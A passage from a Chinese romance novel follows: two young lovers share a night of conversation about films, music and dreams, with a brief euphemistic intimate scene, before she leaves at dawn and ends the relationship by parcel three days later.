这是路星川第一次听这首歌,刚听了个开头就从中获得了共鸣,他低头亲了亲施南笙的额头,柔声说:“从今以后,我做你的星星。” 施南笙恍若未觉,她迅速地进入了一种半梦半醒的状态,她逃避的那些东西在梦境里扼住了她的喉咙,她喘不过气来,想要恢复清醒,却始终被困在一团混沌里,直到她被那个男人狰狞的样子彻底吓醒。 睁眼的瞬间,映入眼帘的是路星川近在咫尺的脸,他的脸上满是紧张和关切,施南笙听见他问:“做噩梦了吗?” 施南笙惊魂未定,涩声问:“我睡了多久?” 路星川说:“还不到一首歌的时间。” 施南笙苦笑了下:“我还以为我睡了很久。” 路星川蹙眉不语。 从他在青塘街找到她那一刻开始,她整个人的状态就很不对劲,跟他回家、和他上床都不像是她会做的事,她肯定经历了什么很不好的事,她脖子上的伤痕就是明证。 但她不想说,如果他硬要问,无异于往她伤口上撒盐,他只能继续装作毫无察觉。 “我不想睡了,”施南笙怕再被噩梦纠缠,“你陪我说说话吧。” “好,”路星川说,“说什么?” 施南笙瞄见墙上那些海报,就随口问:“你为什么喜欢看电影?” 路星川侃侃而谈:“因为电影是造梦的艺术,一部电影就是一个光影织就的梦,梦里光怪陆离、包罗万象,不受时间和空间的局限,让我可以窝在这个小小的房间里了解大千世界,看那些我这辈子都无法亲眼看到的风景,或者渴望得到却无法拥有的东西,比如正常的家庭,刻骨铭心的爱情,闪闪发光的梦想,跌宕起伏的经历,巨额的财富……虽然梦醒了就什么都没有了,但至少沉浸在梦里的那一两个小时,我可以暂时逃离现实,获得片刻的喘息。有个成语,形容的就是我这样的人,我一时想不起来了……” “望梅止渴。”施南笙说。 “对,望梅止渴。”路星川勾了勾唇角,“我这样是不是挺可悲的?” “一点都不,”施南笙说,“其实我们都一样,听歌就是我逃离现实的手段。我不能撕烂那些人的嘴,就只能捂住自己的耳朵,不去听就不会被刺伤。” 路星川当然知道她饱受流言蜚语的困扰,他曾为此在篮球场上和孟寒声大打出手,但终究无可奈何,只要有人的地方就有流言,流言是永远杀不死的。 “逃避虽然可耻但有用。”他轻抚着她光洁的脸颊,眉眼含笑,“以后你再想逃避什么,就来我这里,这个小房间就是我们俩的避风港,我们可以像两只土拨鼠一样抱团取暖。” “为什么是土拨鼠?” “因为土拨鼠是种警惕性超高的动物,一旦遇到危险就会立刻躲进洞穴里。” 施南笙想象着那个画面,微笑着说:“听起来很可爱。” 今晚一直是她在问他在答,这次换路星川来问:“你的梦想是什么?” 施南笙沉思良久,才慢慢开口:“我长这么大还没见过海,所以我想去一个滨海城市读大学,毕业之后找一份体面的工作,挣够钱以后,找一个人烟稀少的地方,买一座带院子的房子,最好能离群索居……我不奢求生活得多么幸福,只要平静就够了。” 路星川把这番话一字一句地镌刻在脑海里。 贪婪是人的本性,虽然他知道他只能陪她走一小段路,却还是忍不住生出一点奢望,万一他能陪她走得很远呢?万一他能长久地参与她的人生呢?哪怕不是以恋人的身份,他也想在她的身边拥有一席之地。 所以他要牢记她的梦想,万一他能帮她实现呢? 人生波诡云谲,谁都说不好明天会发生什么。 “我也没见过海,”路星川说,“等高考成绩出来以后,我们一起去看海吧?” 施南笙明知做不到却还是一口答应,又反过来问:“你呢?你的梦想是什么?” “我是一条没有梦想的咸鱼,”路星川自我解嘲,“活一天算一天。” “这样也挺好的……”说到一半,施南笙又打了个呵欠。 路星川觉得她打呵欠的样子可爱极了,笑着说:“好了,不聊了,赶紧睡觉吧,再不睡天都要亮了。” 施南笙含糊不清地应了一声,紧接着往他怀里钻了钻,他身上好热,像个人形暖宝宝,他的怀抱既温暖又安全。 路星川抱着她,很快就心满意足地睡去。 …… 噩梦没来打扰,施南笙这回是被热醒的。 她和路星川依旧保持着入睡时的姿势,如胶似漆地黏在一起。 藉着小夜灯的微光,施南笙凝视着路星川沉静的睡颜,蓦然惊觉,她好像喜欢上路星川了。 忘了哪位作家在哪本书里写过:「到男人心里去的路通过胃,到女人心里的路通过荫道。」③ 难道真是这样吗? 她不知道,她只知道那种陌生而浓-烈的情感正在她的心里悄然滋生,像某种外来入-侵物种,当你察觉它的存在时它已泛滥成灾。 然而,然而……造化弄人。 施南笙轻轻地吻上了他的唇,他顷刻就醒了,昏昏沉沉地回-应她。 施南笙前所未有地心潮翻涌,她在路星川怀里翻个身,声如蚊蚋:“路星川,进-来……” …… 这一次路星川足足坚持了半小时之久,最后他和施南笙在同一时刻共-赴巫-山。 过了好久,路星川才平复下来,他亲了亲施南笙汗津津的后颈,哑声说:“刚才有一瞬间,我觉得我快死了……这个晚上,我一辈子都不会忘。” “我也是。”施南笙的嗓子也哑得不像话。 “渴了吧?”路星川说,“我去拿水。” “等等,你先别出来。”卷纸就在枕边放着,施南笙先拽了几节递给路星川,又拽了几节自己用,“好了,出来吧。” 路星川缓缓退出,坐在床边简单擦了几下,套上一条短裤,出去倒水。 等路星川拿着矿泉水回来,看见施南笙正在穿衣服,他的心里即刻盈满不舍:“你要走了吗?” “嗯,”施南笙套上T恤,“天快亮了,我回家洗个澡换身衣服,就该去便利店接班了。” “我送你回家,”路星川放下水瓶,也开始穿衣服,“再陪你去便利店。” “不用了,你昨晚都没怎么睡,再睡会儿吧。” “我不困,我现在精神得能跑三千米。” 施南笙搂住他的腰,头一回对他撒娇:“我说了不让你送就不让你送,你听不听我的话?” 路星川毫无抵抗力,乖乖点头:“听。” 施南笙在他唇上亲了一下,作为他听话的奖励。 路星川说:“那我送你下楼总可以吧?” 施南笙拒绝:“不可以。” 等施南笙绑好鞋带站起来,路星川从桌上拿起那个小蓝盒,递给她:“别忘了你的礼物。” 施南笙犹豫了下,伸手接住:“那根粉红丝带呢?” 桌上没有,床上也没有,最后在床底下找到了,应该是被风扇吹进去的。 路星川捡起来看了看:“粘上灰了,扔了吧。” “别扔。”施南笙伸手拿过来,直接塞进了口袋里。 路星川送施南笙出门,刚迈出门槛就被施南笙制止:“好了,就送到这里吧。” 路星川只好止步:“等我睡醒了就去找你,中午一起吃饭,可以吗?” 施南笙点点头,笑着挥挥手:“回去睡吧,我走了,拜拜。” 路星川扶着栏杆目送她,看着她走到过道的尽头,走下楼梯,走到小楼前面那条崎岖的小路上。 路星川突然大声说:“施南笙!我喜欢你!” 施南笙比了个“嘘”的手势,深深地看了一眼沐浴在熹微晨光中的明媚少年,再次冲他挥了挥手,随即转身离开。 狂欢结束了,她必须去面对残酷的现实了。 这场动机不纯的恋爱游戏,在她动了真心的这一天,被迫走向终结——从5月31号开始,到6月9号结束,她的初恋只维持了短短十天,就仓促收场了。 施南笙有些难过,但并没有哭。 直到施南笙的身影消失在视线尽头,路星川才回到家里,怀着睡醒之后就能和施南笙见面的美好期待,酣然入梦。 他无论如何都想不到,这竟是他和施南笙的最后一面,施南笙从此人间蒸发,消失得无影无踪。 三天后,路星川收到一个顺丰快递。 拆开纸盒,里面是三天前他送给施南笙的生日礼物,小蓝盒上贴着一张纸条,上面写着:路星川,我们分手吧。 只是和幸福擦了一下肩,路星川就被无情地抛弃了。 他曾天真地以为,即使只是短暂拥有,也能死而无憾,然而事实证明并非如此。 他从此坠入深渊,万劫不复。 - ①引自百度 ②引自告五人《夜里无星》 ③引自张爱玲《色,戒》